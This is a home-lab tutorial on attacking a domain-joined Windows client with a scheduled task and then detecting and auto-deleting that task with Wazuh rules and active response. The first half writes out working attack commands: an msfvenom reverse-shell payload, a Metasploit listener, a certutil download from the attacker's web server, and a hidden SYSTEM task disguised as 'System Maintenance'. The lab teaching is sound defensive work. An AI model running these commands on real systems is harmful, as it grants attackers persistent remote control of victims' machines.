Scheduled Task Attack & Defense
Setting Up the Environment
To apply this scenario in your home lab, you need the following:
✅ Windows Server (Domain Controller - DC)
✅ Windows Client (Domain-Joined Machine)
✅ Ubuntu Machine (Wazuh)
✅ Kali Linux (For Attacking)
You need to install the Wazuh agent on the Windows client machine. Please refer to the following URL for detailed instructions: Wazuh Agent Installation Guide.
Today we’ll walk through a detailed attack scenario where an attacker uses a scheduled task to connect a victim Windows machine to the attacker machine. We will demonstrate how Wazuh, an open-source security monitoring platform, detects this activity and automatically delete the scheduled task using its Active Response feature.
In this scenario, we will transfer a file designed to establish a reverse shell upon execution. The script will be executed using scheduled tasks.
First, we need to generate a reverse shell file using msfvenom, which will later be downloaded onto the victim's machine.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.204.152 LPORT=4444 -f exe -e x64/xor -o shell.exe

Let's initiate a web server on our Kali machine to facilitate the download of this file.
python3 -m http.server
We also need to configure a listener to establish a reverse shell connection to our machine.
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/shell_reverse_tcp
set LHOST 192.168.204.152
set LPORT 4444
show options
run

Before executing any actions on our Windows machine, it is essential to enable PowerShell logging.
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell

We also need to enable logging for process creation events.
Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Detailed Tracking

gpupdate /force
Let's verify the current PowerShell logging configuration to determine if it is enabled on our Client machine.
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting"

We also need to modify the configuration of the Wazuh agent that we previously installed on the Windows machine. You can find the details here: GitBook Link.
We previously monitored only Sysmon logs. Moving forward, we need to include PowerShell and Security logs in our monitoring to enhance visibility and threat detection.
From C:\Program Files (x86)\ossec-agent
cd "C:\Program Files (x86)\ossec-agent"
notepad.exe .\ossec.conf

We now need to restart both the Wazuh Agent and the Wazuh Manager.
Restart-Service WazuhSvc
systemctl restart wazuh-manager
Next, let’s proceed with downloading the file.
certutil -urlcache -split -f http://192.168.204.152:8000/shell.exe C:\temp\shell.exe

After installing the file, we need to create a scheduled task to run it every minute. Ideally, it should execute once a day at a specific hour, but for practice purposes, we will set it to run every minute.
$action = New-ScheduledTaskAction -Execute "C:\temp\shell.exe"
$trigger = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1)) -RepetitionInterval (New-TimeSpan -Minutes 1)
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
$task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal
Register-ScheduledTask -TaskName "System Maintenance" -InputObject $task -Force

$action = New-ScheduledTaskAction -Execute "C:\temp\shell.exe"
: Creates an action to run the file shell.exe located at C:\temp\ when the task starts.$trigger = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1)) -RepetitionInterval (New-TimeSpan -Minutes 1)
: Sets the task to start once, one minute from now, and repeat every minute thereafter.$settings = New-ScheduledTaskSettingsSet -Hidden
: Configures the task to be hidden, so it doesn’t appear in the Task Scheduler UI.$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
: Specifies the task to run as the SYSTEM account, a high-privilege service account, without requiring a user logon.$task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal
: Combines the action, trigger, settings, and principal into a single scheduled task object.Register-ScheduledTask -TaskName "System Maintenance" -InputObject $task -Force
: Registers the task in Task Scheduler under the name "System Maintenance" and forces it to overwrite any existing task with the same name.
The name "System Maintenance" sounds legitimate and blends in with typical system processes, making it less likely to raise suspicion from users or administrators reviewing Task Scheduler.
Now that the task has been executed, let's switch to the Kali machine to check for any incoming connections.

We have successfully obtained a reverse shell with system privileges. Now, let's investigate the incident, identify detection methods.

I applied a filter for Register-ScheduledTask, resulting in five matches. Let's review them quickly.

During the investigation, I identified the command previously executed via PowerShell to register the scheduled task. We will use this field to create a rule that triggers an alert.
nano /var/ossec/etc/rules/local_rules.xml
<group name="windows,powershell,">
<rule id="100204" level="12">
<if_sid>91802</if_sid>
<field name="win.eventdata.scriptBlockText" type="pcre2">(?i)Register-ScheduledTask</field>
<description>PowerShell: Detected Register-ScheduledTask execution</description>
<mitre>
<id>T1053</id>
</mitre>
</rule>
</group>

Rule ID: The rule has a unique ID (
100204
) so the system can identify it.Level: The rule has a severity level of
12
, which means it’s considered very serious.Trigger Condition:
It triggers only if rule 91802 is already matched.
It then looks for the text
Register-ScheduledTask
in a field calledwin.eventdata.scriptBlockText
. This field usually contains PowerShell commands.The
(?i)
means it ignores whether the text is in uppercase or lowercase (case-insensitive).
Description:
If the rule finds
Register-ScheduledTask
, it will log a message saying: "PowerShell: Detected Register-ScheduledTask execution".
MITRE Reference:
The rule links this activity to a known hacking technique (
T1059.001
), which is about attackers using PowerShell to do bad things.
Here is the rule 91802:

Rule 91801 (Grouping Rule)
It groups PowerShell logs from the
Microsoft-Windows-PowerShell/Operational
log channel.This ensures that only relevant PowerShell events are processed by subsequent rules.
Rule 91802 (Script Block Detection)
It depends on rule 91801 (
<if_sid>91801</if_sid>
), meaning it only triggers if PowerShell script block logs exist.It matches any PowerShell script execution (
win.eventdata.ScriptBlockId
with.+
, meaning any non-empty script block).This ensures that detailed script execution logs are captured.
Rule 100204 (Register-ScheduledTask Detection)
Depends on rule 91802 (
<if_sid>91802</if_sid>
), meaning it only triggers if script block logging is already matched.It specifically looks for
Register-ScheduledTask
inside PowerShell script execution logs (win.eventdata.scriptBlockText
).If this command is detected, it raises an alert indicating an attempt to create or modify a scheduled task.
Next, the Wazuh agent must be restarted.
systemctl restart wazuh-manager
We need to delete the scheduled task, recreate it, and verify whether an alert is triggered.
Next, let's verify whether an alert has been triggered.



The next step is to configure Wazuh to automatically remove the scheduled task using its Active Response feature.
Active Response in Wazuh is a feature that allows the Wazuh platform to automatically execute predefined actions or scripts when specific security alerts or triggers are detected. It’s part of Wazuh’s capabilities as a Security Information and Event Management (SIEM) and Extended Detection and Response (XDR) solution, designed to enhance incident response by enabling real-time, automated reactions to threats.
These scripts are triggered based on specific conditions, such as:
A particular rule ID.
An alert severity level.
A rule group.
When a new scheduled task is created, Event ID 4698 is triggered, indicating its creation. We can search for this event to gather relevant details, which will assist us in developing a script to automatically delete the scheduled task.


First, let's create a basic script to verify that the active response is functioning correctly and operating as expected.
First, we will create an additional scheduled task named "TestTask."
Register-ScheduledTask -TaskName "TestTask" -Action (New-ScheduledTaskAction -Execute "cmd.exe") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date)) -Force

Let's verify whether an alert was generated for the creation of this scheduled task.


Open a PowerShell session as Administrator and create a script named remove-task.bat with the following content:
@echo off
schtasks /delete /tn "TestTask" /f
echo %date% %time% Removed TestTask for active response test >> "C:\Program Files (x86)\ossec-agent\active-response\active-responses.log"
The file must be saved in the following directory: C:\Program Files (x86)\ossec-agent\active-response\bin.
schtasks /delete /tn "TestTask" /f
: Deletes a scheduled task named "TestTask" from the Windows Task Scheduler. The /f flag forces the deletion without asking for confirmation.echo %date% %time% Removed TestTask ... >> ...
: Logs a message to a file. It writes the current date and time, followed by "Removed TestTask for active response test," into a log file located atC:\Program Files (x86)\ossec-agent\active-response\active-responses.log
. The >> means it adds this line to the end of the file without overwriting what’s already there.

Grant SYSTEM full control:
icacls "C:\Program Files (x86)\ossec-agent\active-response\bin\remove-task.bat" /grant "SYSTEM:F"
Please restart the Wazuh agent as well.
Restart-Service WazuhSvc
Get-Service WazuhSvc

We need also to ensure Wazuh manager’s /var/ossec/etc/ossec.conf
is set up as follows:
<command>
<name>remove-task</name>
<executable>remove-task.bat</executable>
<timeout_allowed>no</timeout_allowed>
</command>
<active-response>
<command>remove-task</command>
<location>local</location>
<rules_id>100204</rules_id>
</active-response>

<command>:
Defines a command named "remove-task".<name>remove-task</name>:
The command’s identifier.<executable>remove-task.bat</executable>:
Runs the remove-task.bat script.<timeout_allowed>no</timeout_allowed>:
No time limit for the script to finish.
<active-response>:
Sets when and where the command runs.<command>remove-task</command>:
Links to the "remove-task" command above.<location>local</location>:
Runs the script on the same machine where the alert happens.<rules_id>100204</rules_id>:
Triggers the script when Wazuh rule ID 100204 fires.
In short: When rule 100204 triggers an alert, Wazuh runs remove-task.bat locally with no timeout.
We now need to restart the Wazuh Manager service.
sudo systemctl restart wazuh-manager
Now, let's delete the TestTask, recreate it, and observe the outcome.
schtasks /delete /tn "TestTask" /f
Register-ScheduledTask -TaskName "TestTask" -Action (New-ScheduledTaskAction -Execute "cmd.exe") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date)) -Force



We can observe that following the alert trigger, the remove-task.bat
script was executed.

The alert indicated that the execution of the remove-task.bat
script resulted in the deletion of the TestTask
scheduled task.
Let's verify whether the TestTask was actually deleted.
schtasks /query /tn "TestTask" /fo LIST /v

We have confirmed that the solution is functional. Now, we need to make it dynamic so that whenever an attacker attempts to create a scheduled task using the PowerShell cmdlet Register-ScheduledTask
, it is automatically deleted regardless of the task name.
To accomplish this, I developed a PowerShell script that retrieves the most recently created scheduled task when an alert is triggered based on Event ID 4698. The script extracts the task's name and deletes it. Additionally, I created a batch script to execute the PowerShell script. Let's go through the process step by step.
Let's retrieve the most recently created scheduled task using PowerShell.
Get-WinEvent -LogName "Security" | Where-Object {$_.Id -eq 4698} | Select-Object -First 1 | ForEach-Object {$_.Properties[4].Value}

Now, let's begin by creating a PowerShell script named remove-task.ps1.
# Get the most recent TaskName from Event ID 4698
$taskName = Get-WinEvent -LogName "Security" | Where-Object {$_.Id -eq 4698} | Select-Object -First 1 | ForEach-Object {$_.Properties[4].Value}
# Log file path
$logFile = "C:\Program Files (x86)\ossec-agent\active-response\active-responses.log"
# Check if a TaskName was found and delete it
if ($taskName) {
schtasks /delete /tn "$taskName" /f
if ($LASTEXITCODE -eq 0) {
Add-Content -Path $logFile -Value "$(Get-Date) Removed task: $taskName"
} else {
Add-Content -Path $logFile -Value "$(Get-Date) Failed to remove task: $taskName (Exit code: $LASTEXITCODE)"
}
} else {
Add-Content -Path $logFile -Value "$(Get-Date) No TaskName found for Event ID 4698"
}

Next, we will create a batch file named remove-task.bat.
@echo off
powershell -ExecutionPolicy Bypass -File "C:\Program Files (x86)\ossec-agent\active-response\bin\remove-task.ps1"

Next, we need to restart the Wazuh agent to apply the changes.
Restart-Service WazuhSvc
We also need to ensure that the Wazuh manager's configuration file (/var/ossec/etc/ossec.conf
) is properly set up as follows:

Now when Wazuh detects an alert for the creation of a scheduled task using the PowerShell cmdlet Register-ScheduledTask
, it will automatically execute the remove-task.bat
script. This script will then trigger remove-task.ps1
to delete the newly created scheduled task.
Let's recreate the "System Maintenance" scheduled task and verify whether Wazuh deletes it.
$action = New-ScheduledTaskAction -Execute "C:\temp\shell.exe"
$trigger = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1)) -RepetitionInterval (New-TimeSpan -Minutes 1)
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
$task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -Principal $principal
Register-ScheduledTask -TaskName "System Maintenance" -InputObject $task -Force

Next, let's review the Wazuh alerts.

Let's review these alerts to gain a clear understanding of what occurred.


After the scheduled task was created, an alert was triggered, prompting the execution of a script named remove-task.bat.

Then remove-task.ps1
script was executed, deleting the task named System Maintenance. Let's verify whether the task was successfully deleted.
schtasks /query /tn "System Maintenance" /fo LIST /v

We have successfully configured Wazuh to automatically delete the scheduled task upon triggering an alert.
Last updated